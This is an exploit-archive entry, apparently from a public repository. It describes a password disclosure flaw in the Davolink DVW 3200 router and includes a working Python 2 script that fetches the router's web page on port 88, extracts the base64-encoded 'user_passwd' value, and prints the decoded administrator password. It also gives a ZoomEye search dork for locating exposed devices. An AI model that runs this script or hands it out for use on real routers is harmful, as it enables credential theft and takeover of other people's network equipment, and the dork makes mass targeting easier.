Davolink DVW 3200 Router Password Disclosure

The Davolink DVW 32000 router suffers from a password disclosure vulnerability.


MD5 | ef776ce52b5def58d8c4d7ae895f14bb

# Exploit Title: Davolink DVW 3200 Router - Password Disclosure
# Google Dork: N/A
# Zoomeye dork : https://www.zoomeye.org/searchResult?q=%22var%20user_passwd%22%20%2Bapp%3A%22DAVOLINK%20GAPD-7000%20WAP%20httpd%22
# Date: 2018-07-13
# Exploit Author: Ankit Anubhav
# Vendor Homepage: www.davolink.co.kr
# Software Link: N/A
# Version: DVW 3200
# Tested on: Python 2.7 Windows 10
# CVE : N/A

# Many Davolink Davolink DV 3200 devices credentials can be disclosed using the following script.
# Author : Ankit Anubhav (ankitanubhav.com) of NewSky Security ( https://www.newskysecurity.com/ )

# Usage script.py 1.3.3.7 where 1.3.3.7 is the Davolink DV 3200 IP.
# Use responsibly only for research and testing purposes.
# Tested with python 2.7

import sys
import urllib2
import re
import base64

def davolink_credfinder(ip):
try:
req = urllib2.Request('http://' + ip + ':' + '88', headers={ 'User-Agent': 'Mozilla/5.0' })
connection_check = str(urllib2.urlopen(req).getcode())

if (connection_check == "200"):
html = urllib2.urlopen(req).read()
str_html = str(html)
m=re.compile('var user\_passwd\=\"(.*?)\"').search(str_html)
encoded_pwd =str(m.group(1))
actual_pwd = base64.b64decode(encoded_pwd)
print "**************************************************************************************************"
print "The password for the Davolink device is " + actual_pwd
print "**************************************************************************************************"
else:
print "Connection to port 88 was not successful. Cant find credentials,sorry."
except:
print "There was an error in connecting to the IP."

davolink_credfinder(sys.argv[1])


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